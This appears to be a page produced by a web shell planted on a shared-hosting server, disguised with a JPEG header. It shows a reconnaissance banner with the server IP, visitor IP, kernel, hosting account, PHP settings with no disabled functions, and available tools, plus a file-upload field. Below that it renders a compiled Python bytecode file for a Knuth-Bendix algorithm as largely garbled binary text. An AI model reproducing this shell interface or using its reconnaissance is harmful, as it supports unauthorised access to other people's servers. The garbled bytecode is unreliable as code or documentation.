ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.29 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/guppy/etc/__pycache__/ |
Upload File : |
�
� h?# � �d � d Z ddlZ G d� d� � Zd� Zd� Z G d� d� � Zd � Zd
� Zd� ZdS )a�
An implementation of the Knuth-Bendix algorithm,
as described in (1), p. 143.
For determining if two paths in a category are equal.
The algorithm as given here,
takes a set of equations in the form of a sequence:
E = [(a, b), (c, d) ...]
where a, b, c, d are 'paths'.
Paths are given as strings, for example:
E = [ ('fhk', 'gh'), ('m', 'kkm') ]
means that the path 'fhk' equals 'gh' and 'm' equals 'kkm'.
Each arrow in the path is here a single character. If longer arrow
names are required, a delimiter string can be specified as in:
kb(E, delim='.')
The paths must then be given by the delimiter between each arrow;
E = [ ('h_arrow.g_arrow', 'g_arrow.k_arrow') ... ]
The function kb(E) returns an object, say A, which is
o callable: A(a, b)->boolean determines if two paths given by a, b are equal.
o has a method A.reduce(a)->pathstring, which reduces a path to normal form.
An optional parameter to kb, max_iterations, determines the maximum
number of iterations the algorithm should try making the reduction
system 'confluent'. The algorithm is not guaranteed to terminate
with a confluent system in a finite number of iterations, so if the
number of iterations needed exceeds max_iterations an exception
(ValueError) will be raised. The default is 100.
References
(1)
@book{walters91categories,
title={Categories and Computer Science},
author={R. F. C. Walters},
publisher={Cambridge University Press},
location={Cambridge},
year=1991}
(2)
@book{grimaldi94discrete,
author="Ralph P. Grimaldi".
title="Discrete and Combinatorial Mathematics: An Applied Introduction",
publisher="Addison-Wesley",
location="Readin, Massachusetts",
year=1994
}
� Nc �H � e Zd Zd
d�Zd� Zd� Zd� Zd� Zd� Zdd
�Z d� Z
d� Zd S )�KnuthBendix� �d c �H � g | _ || _ |D ]g\ }}|r*| � |� � }| � |� � }| � ||� � r||}}| j � ||f� � �h| � |� � | � � � d S �N)�
reductions�delim�
wrap_delim�gt�append�make_confluent�sort)�self�Er
�max_iterations�a�bs �h/builddir/build/BUILD/cloudlinux-venv-1.0.8/venv/lib64/python3.11/site-packages/guppy/etc/KnuthBendix.py�__init__zKnuthBendix.__init__D s� � ������
�� +� +�D�A�q��
'��O�O�A�&�&���O�O�A�&�&���w�w�q�!�}�}�
��!�1���O�"�"�A�q�6�*�*�*�*����N�+�+�+�� � ������ c �Z � | � |� � | � |� � k S r ��reduce)r �x�ys r �__call__zKnuthBendix.__call__Q s! � ��{�{�1�~�~����Q���/�/r c �� � | j }|rt |� � }t |� � }n*|� |� � }|� |� � }||k rdS ||k rdS ||k S )N� r )r
�len�count)r r r r
�la�lbs r r zKnuthBendix.gtT sl � ��
��� ��Q���B��Q���B�B�������B�������B�
��7�7��1�
��7�7��1��1�u�r c
� � � � fd�}i }t |� � D �]P}d� _ t � j � � }|D �][\ }}|D �]Q\ }} |||| f}
|
|v r�d||
<